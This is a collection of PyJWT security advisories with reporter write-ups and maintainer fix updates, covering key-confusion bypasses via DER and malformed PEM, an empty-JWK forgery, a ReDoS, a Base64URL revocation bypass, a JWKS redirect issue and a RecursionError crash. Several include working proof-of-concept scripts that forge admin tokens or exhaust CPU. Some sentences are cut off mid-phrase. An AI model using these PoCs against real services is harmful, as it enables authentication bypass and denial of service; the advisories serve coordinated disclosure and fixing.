- DER SubjectPublicKeyInfo - DER PKCS#1 - DER encoded X.509 certificate

History of this guard:

- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH. - Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents. - DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/apijws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.preparekey on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example loadderpublickey, loadderprivatekey and loadderx509certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

console pip install "pyjwt==2.13.0" cryptography python poc.py

No special configuration is needed. The script builds its own key.

python import base64 import hashlib import hmac import json

import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generateprivatekey(publicexponent=65537, keysize=2048).publickey() pem = pub.publicbytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) der = pub.publicbytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo) derpkcs1 = pub.publicbytes(Encoding.DER, PublicFormat.PKCS1)

def b64(raw): return base64.urlsafeb64encode(raw).rstrip(b"=")

def forge(secret): # The attacker does not use PyJWT. They only need the public key bytes. head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) body = b64(json.dumps({"user": "admin", "role": "admin"}).encode()) signinginput = head + b"." + body sig = hmac.new(secret, signinginput, hashlib.sha256).digest() return (signinginput + b"." + b64(sig)).decode()

PEM form is rejected, as expected since CVE-2022-29217. try: jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"]) except jwt.exceptions.InvalidKeyError as exc: print("PEM rejected:", exc)

Same key, DER form. The forged token verifies. print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"])) print("DER PKCS#1 accepted:", jwt.decode(forge(derpkcs1), derpkcs1, algorithms=["RS256", "HS256"]))

Output:

PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s DER SPKI accepted: {'user': 'admin', 'role': 'admin'} DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}

The token is signed with plain hmac, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.

We also have a regression test written in your pytest style. It uses your own tests/keys fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.

Impact

Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.

Who is affected: applications that verify tokens with an asymmetric public key, also list an HS\ algorithm pass that public key to jwt.decode as DER bytes.

What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.

What limits it: the application must already be in the mixed HS\ and RS\ misconfiguration. It must also hoEM is the more common form and is still blocked. Users of PyJWK and PyJWKClient are not affected.

Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.preparekey now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Summary There is a Re-DoS vulnerability in the ispemformat function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC python import time import re

BEGINLINE = b"-----BEGIN CERTIFICATE-----\n"

PEMS = { b"CERTIFICATE", b"TRUSTED CERTIFICATE", b"PRIVATE KEY", b"PUBLIC KEY", b"ENCRYPTED PRIVATE KEY", b"OPENSSH PRIVATE KEY", b"DSA PRIVATE KEY", b"RSA PRIVATE KEY", b"RSA PUBLIC KEY", b"EC PRIVATE KEY", b"DH PARAMETERS", b"NEW CERTIFICATE REQUEST", b"CERTIFICATE REQUEST", b"SSH2 PUBLIC KEY", b"SSH2 ENCRYPTED PRIVATE KEY", b"X509 CRL", }

PEMRE = re.compile( b"----[- ]BEGIN (" + b"|".join(PEMS) + b""")[- ]----\r? .+?\r? ----[- ]END \\1[- ]----\r?\n?""", re.DOTALL, )

def ispemformat(key: bytes) -> bool: return bool(PEMRE.search(key))

def makepayload(numheaders: int) -> bytes: return BEGINLINE numheaders

def measure(numheaders: int) -> float: payload = makepayload(numheaders) start = time.perfcounter() ispemformat(payload) # returns False, but burns CPU getting there elapsed = time.perfcounter() - start print( f" headers={numheaders:>4} size={len(payload)//1024:>3} KB" f" time={elapsed1000:>7.1f} ms" ) return elapsed

for n in (1000, 2000, 4000, 8000): measure(n)

Impact The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10): We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Summary

PyJWT 2.13.0 accepts compact JWS signature segments containing characters that are not in the Base64URL alphabet. Appending !!!! to a valid signature does not change the decoded signature bytes or authenticated claims, but it changes the serialized token and its SHA-256 hash. An application that indexes logout or revocation state by the raw token therefore rejects the logged-out token and accepts its no-key alternate serialization.

This report separates two issues: permissive compact-JWS decoding is the library behavior, while using raw serialized JWT text as a security identity is a dangerous application composition. A jti-indexed control blocks both representations.

Affected Version

Confirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the signature segment and requires no signing key.

End-to-End Reproduction

bash .venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py

The loopback-only lab performs:

1. Issue a valid HS256 admin token. 2. Access /protected successfully. 3. Log out the canonical token and store SHA256(rawtoken). 4. Confirm canonical replay returns HTTP 401. 5. Append !!!! to only the signature segment. 6. Confirm the mutated token has the same verified claims and signature bytes, a different raw hash, and receives HTTP 200. 7. Repeat with jti-indexed revocation and confirm both forms return HTTP 401.

Observed statuses for raw-token revocation were 200 -> logout -> 401 for the canonical token and 200 for the alternate serialization. The jti control returned 401 for both replays after logout.

Security Boundaries and Severity

This is not signature forgery: the attacker starts with a valid token and cannot alter its claims. Impact requires a consumer to bind revocation, replay state, rate limits, or cache identity to the raw compact string. Under that composition, an authenticated user can bypass logout or token-specific revocation without the signing key. Medium is suggested for triage because the security impact is real but application-dependent.

Recommended Fix

- Reject signature segments containing characters outside [A-Za-z0-9-]. - Reject padding and other non-canonical Base64URL encodings for compact JWS. - Add regression tests proving malformed signature encodings fail before or during verification. - Document that applications must use a semantic identifier such as jti, not the raw serialized token, for revocation and replay state.

Maintainer update — 2026-09-09

We reproduced the reported behavior on the verified master commit 8915570: appending !!!! to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags 2.4.0, 2.8.0, 2.10.1, 2.12.1, and 2.13.0.

The security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as jti for token identity.

The report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet.

Maintainer update — 2026-09-09

The fix has been rebased onto the current master as e6f48401001609a8f99e71fcaf355fb895d508a8 and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as !!!! is rejected before verification. Valid detached b64=false handling remains supported.

Verification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and git diff --check passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning.

The advisory remains medium severity and unpublished.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering.

These metadata changes do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Prerequisites (both conditions must hold; both are deployment properties, not attacker-controlled at request time):

- The jwt.decode allow-list mixes an HMAC algorithm with an asymmetric one, e.g. algorithms=["ES256", "HS256"] (the RFC 8725 footgun the guard exists to backstop). - The verification key is passed as raw PEM text/bytes on the non-PyJWK path, in a byte-form that cryptography's loader accepts but PyJWT's ispemformat regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.

The attacker additionally needs the public verification key, which is public by definition, and cryptography must be installed.

The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when ispemformat() recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.

Summary A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's ispemformat() return False while cryptography.loadpempublickey() accepts the identical bytes. The asymmetric-key rejection in HMACAlgorithm.preparekey is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid HS256 token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.

Details At jwt/algorithms.py:331-335, HMACAlgorithm.preparekey contains the sole family-mismatch guard:

if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )

If neither predicate fires, :357 returns keybytes unchanged — the PEM text is used directly as the HMAC secret.

ispemformat (jwt/utils.py:116-127) is bool(PEMRE.search(key)), where PEMRE requires ----[- ]BEGIN (...)[- ]----\r?\n, then .+?\r?\n, then the END marker. The LF in each \r?\n is mandatory, the markers are anchored directly after a newline, and only [- ] is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare \r terminators, or folded onto one line is not recognized as PEM. cryptography's loadpempublickey is tolerant of exactly these forms and still returns the key.

Reach: jwt/apijws.py:386 performs the allow-list check (passes when HS256 is in the list) and takes the non-PyJWK branch to algobj.preparekey(key) at :407. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.

PoC Vulnerable path: jwt/algorithms.py:331 (guard gated on ispemformat) -> ispemformat returns False for a loader-accepted PEM -> jwt/algorithms.py:357 returns the public-key bytes as the HMAC secret -> HS256 verification succeeds.

Reproduced on PyJWT 2.13.0 (commit 7144e453) with cryptography 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm ispemformat now returns False while cryptography still loads the bytes, then verify a token signed alg=HS256 with the public-key text as the HMAC secret, under algorithms=["ES256","HS256"] (resp. ["RS256","HS256"]).

Observed output:

pyjwt 2.13.0 ec canonical (control) ispemformat=True cryptoloads=True forgery=BLOCKED:InvalidKeyError ec marker-adjacent (tab before END) ispemformat=False cryptoloads=True forgery=FORGED(superadmin) ec CR-only terminators ispemformat=False cryptoloads=True forgery=FORGED(superadmin) ec folded single-line ispemformat=False cryptoloads=True forgery=FORGED(superadmin) rsa canonical (control) ispemformat=True cryptoloads=True forgery=BLOCKED:InvalidKeyError rsa marker-adjacent (tab before END) ispemformat=False cryptoloads=True forgery=FORGED(superadmin) rsa CR-only terminators ispemformat=False cryptoloads=True forgery=FORGED(superadmin) rsa folded single-line ispemformat=False cryptoloads=True forgery=FORGED(superadmin) [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError RESULT: ALL-INVARIANTS-HOLD

Each mutated form on both key types forged a token accepted as superadmin. Controls: the unmodified PEM is correctly rejected with InvalidKeyError (the guard works and the mutation is load-bearing); a single-algorithm allow-list ["ES256"] rejects the forged HS256 token with InvalidAlgorithmError (the mixed allow-list is a necessary precondition).

Steps to reproduce: 1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM. 2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before -----END, convert terminators to bare \r, or join all lines into one. 3. Confirm jwt.utils.ispemformat(mutated) is False and cryptography.hazmat.primitives.serialization.loadpempublickey(mutated) succeeds. 4. jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256"), then jwt.decode(token, mutated, algorithms=["ES256","HS256"]) — verification succeeds.

Impact Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The PyJWK verification path binds a single algorithm and is unaffected; enforceminimumkeylength (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.

Maintainer update — 2026-09-10

We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by ispemformat, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.

The fix is committed as 8b4e233a22206b34ec1186e912e75c0b2396ac07. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.

Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Summary

PyJWT 2.13.0 PyJWKClient followed HTTP redirects while fetching a JWKS, without validating the redirect destination. A configured trusted endpoint could therefore redirect the client to a different host.

Impact

When an application uses PyJWKClient with caller-supplied request headers and an attacker can influence the configured endpoint's response, the redirected request could expose those headers and the redirected response could be used as authoritative key material. This could cause JWKS trust poisoning and, in affected mixed-configuration applications, forged JWT acceptance. The issue requires an attacker-influenced redirect from the configured JWKS endpoint; it is not triggered by a token kid alone.

Affected versions

PyJWT <= 2.13.0.

Fix

The issue is fixed on master in commit 0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56. PyJWKClient now disables automatic redirects for JWKS fetches. Regression tests verify that a redirect is rejected without contacting its destination, while normal fetches, headers, caching, errors, timeouts, and SSL context remain covered.

The fix is present in the unreleased development branch. The patched version will be recorded after a released PyJWT 2.x version containing the fix is confirmed.

Credit

Credit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect header-leak and cache-poisoning evidence from the newer duplicate report GHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this canonical advisory update.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

json {"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.preparekey. With the default enforceminimumkeylength=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signinginput) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.preparekey](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

python jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.fromjwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

json { "kty": "oct", "k": "" }

the empty Base64URL value is decoded to:

python b""

and returned without an emptiness check.

[PyJWK.init](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/apijwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS.verifysignature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/apijws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

python preparedkey = key.key

The value is not passed through:

python algobj.preparekey(key.key)

so the empty-key check in HMACAlgorithm.preparekey is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforceminimumkeylength=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

python b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

text raw b"" -> HMACAlgorithm.preparekey -> InvalidKeyError

{"kty":"oct","k":""} -> HMACAlgorithm.fromjwk -> b"" -> PyJWK.key -> PyJWS.verifysignature -> HMAC verification with b"" -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

text 7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

bash python -m venv venv source venv/bin/activate pip install "PyJWT==2.13.0"

Save the following as poc.py:

python import base64 import hashlib import hmac import json import time import warnings

import jwt from jwt import PyJWKSet from jwt.exceptions import InvalidKeyError, InvalidSignatureError

def b64u(value: bytes) -> bytes: return base64.urlsafeb64encode(value).rstrip(b"=")

now = int(time.time()) header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode()) payload = b64u( json.dumps( {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300}, separators=(",", ":"), ).encode() ) signinginput = header + b"." + payload forged = ( signinginput + b"." + b64u(hmac.new(b"", signinginput, hashlib.sha256).digest()) ).decode()

jwk = PyJWKSet.fromdict( { "keys": [ { "kty": "oct", "k": "", "kid": "active", "alg": "HS256", "use": "sig", } ] } )["active"]

with warnings.catchwarnings(): warnings.simplefilter("ignore") claims = jwt.decode( forged, jwk, algorithms=["HS256"], options={"require": ["exp"]}, )

assert claims["sub"] == "attacker" assert claims["admin"] is True print("VULNERABLE:", claims)

try: jwt.decode(forged, b"", algorithms=["HS256"]) except InvalidKeyError: print("CONTROL raw empty key: rejected") else: raise AssertionError("raw empty key was accepted")

try: jwt.decode( forged, jwk, algorithms=["HS256"], options={"enforceminimumkeylength": True}, ) except InvalidKeyError: print("CONTROL strict PyJWK: rejected") else: raise AssertionError("strict PyJWK was accepted")

realkey = PyJWKSet.fromdict( { "keys": [ { "kty": "oct", "k": "cmVhbC1zZWNyZXQ", "kid": "active", "alg": "HS256", } ] } )["active"]

try: with warnings.catchwarnings(): warnings.simplefilter("ignore") jwt.decode(forged, realkey, algorithms=["HS256"]) except InvalidSignatureError: print("CONTROL non-empty PyJWK: rejected") else: raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

bash python poc.py

Observed output:

text VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>} CONTROL raw empty key: rejected CONTROL strict PyJWK: rejected CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforceminimumkeylength, which also rejects the empty PyJWK.

The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.

I also reproduced the result through the following verification paths:

python jwt.decode(token, PyJWK, algorithms=["HS256"]) jwt.decode(token, PyJWK) jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"]) PyJWS().decode(token, PyJWK, algorithms=["HS256"])

All accepted an HS256 token whose signature was generated using the zero-length HMAC key.

As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.preparekey with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached preparekey and rejected the empty key.

Impact

This is an authentication bypass caused by inconsistent validation of empty HMAC keys.

Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.

For example, an application could and produces:

json { "kty": "oct", "k": "", "kid": "active", "alg": "HS256" }

when the expected Base64URL secret value is missing.

Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.

The attacker can choose arbitrary claims such as:

json { "sub": "attacker", "admin": true, "exp": 1787100000 }

and produce a signature that PyJWT accepts as valid.

Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.

Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.

The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Maintainer update — 2026-09-09

We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.preparekey(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.

This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.

The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's preparekey() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.

The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.

The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Summary

PyJWKClient.getsigningkeyfromjwt(token) — the first step of the JWKS verification flow documented in docs/usage.rst — must decode a token's payload before its signature can be checked, via jwt.apijwt.decodecomplete(token, options={"verifysignature": False}). That call parses the payload with json.loads in PyJWT.decodepayload (jwt/apijwt.py:297-300), whose except clause catches only ValueError. A payload that is valid JSON but nested ~20,000 levels deep makes json.loads raise RecursionError, which is not a ValueError and escapes as a raw, undocumented exception type — not DecodeError, InvalidTokenError, or PyJWTError, so every documented error-handling pattern in docs/usage.rst misses it.

The token needs no valid signature and no network access — the crash happens during payload parsing, before the kid is even looked up. A single unauthenticated ~50KB request crashes the caller's auth handler (HTTP 500 / dead worker), repeatably. The same path is reachable through plain jwt.decode(token, options={"verifysignature": False}) too.

Notably, this project already fixed the identical bug class for the JWS header path — PyJWS.load catches (ValueError, RecursionError) and wraps it in DecodeError (jwt/apijws.py:360-361), and CHANGELOG.rst (v2.14.0, "Security") states "Handle deeply nested and malformed JWS/JWK input without uncaught recursion errors." The payload path — the one part of a forged token an unauthenticated attacker fully controls — was left catching ValueError alone, so that security fix does not fully hold.

A second, related instance: PyJWKClient.fetchdata (jwt/jwksclient.py:168) parses a JWKS endpoint's response with json.load(response) inside a try that only catches (URLError, TimeoutError, http.client.HTTPException) — a deeply-nested JSON response from a JWKS endpoint raises the same raw RecursionError, uncaught entirely (worse than the payload path, which at least caught plain ValueError).

Affected versions: confirmed present in the current release, 2.14.0, and on the current master branch (commit 4adcd02722f5011c60079d3978dfc167b9a8eaa5).

Reproduction

python import base64, json, jwt

def b64url(b): return base64.urlsafeb64encode(b).rstrip(b"=")

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) payload = b64url(b"[" 20000 + b"]" 20000) token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode()

jwt.decode(token, options={"verifysignature": False}) raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)

Control: the same deeply-nested structure moved into the token's header instead of its payload is correctly converted to jwt.DecodeError by the already-hardened jwt/apijws.py:360 — confirming the payload path is specifically the missed half of the v2.14.0 hardening, not a general gap.

Impact assessment

Unauthenticated denial-of-service via unhandled exception on an auth path. Not an auth bypass — rated medium. With signature verification enabled, this parse runs after verifysignature, so only the pre-verification paths (getsigningkeyfromjwt, explicit verifysignature=False) are attacker-reachable pre-auth; the JWKS-endpoint variant requires control of (or a MITM on) the configured JWKS endpoint rather than being reachable from an arbitrary client token.

Suggested fix

In jwt/apijwt.py:299, change except ValueError as e: to except (ValueError, RecursionError) as e:, mirroring jwt/apijws.py:360 exactly. In jwt/jwksclient.py, add the same (ValueError, RecursionError) handling around json.load(response) in fetchdata, raising PyJWKClientError (consistent with the method's existing documented error contract). A patch implementing both, verified against the full test suite (457 passed, 4 skipped — pre-existing, environment-related) and against the reproduction above (now correctly raises DecodeError), is attached (fix.patch).

Discovery method

Found and verified using scopegrep (https://github.com/not-ekalabya/scopegrep) — a semantic code-retrieval tool that surfaces every other call site of a symbol alongside relevance-ranked results, which is what surfaced the already-hardened header path as the direct comparison here — paired with an LLM coding agent (GLM-5.3) run as an open-ended security review of this repository. Independently reproduced against the exact commit above before this report was written. Happy to share the full session transcript on request.

Disclosure status

Not shared with any other party or published. Submitting through this private channel per the project's stated security policy; no planned public/conference disclosure ahead of a coordinated timeline.

---

Maintainer triage update (2026-09-22)

Confirmed finding and scope

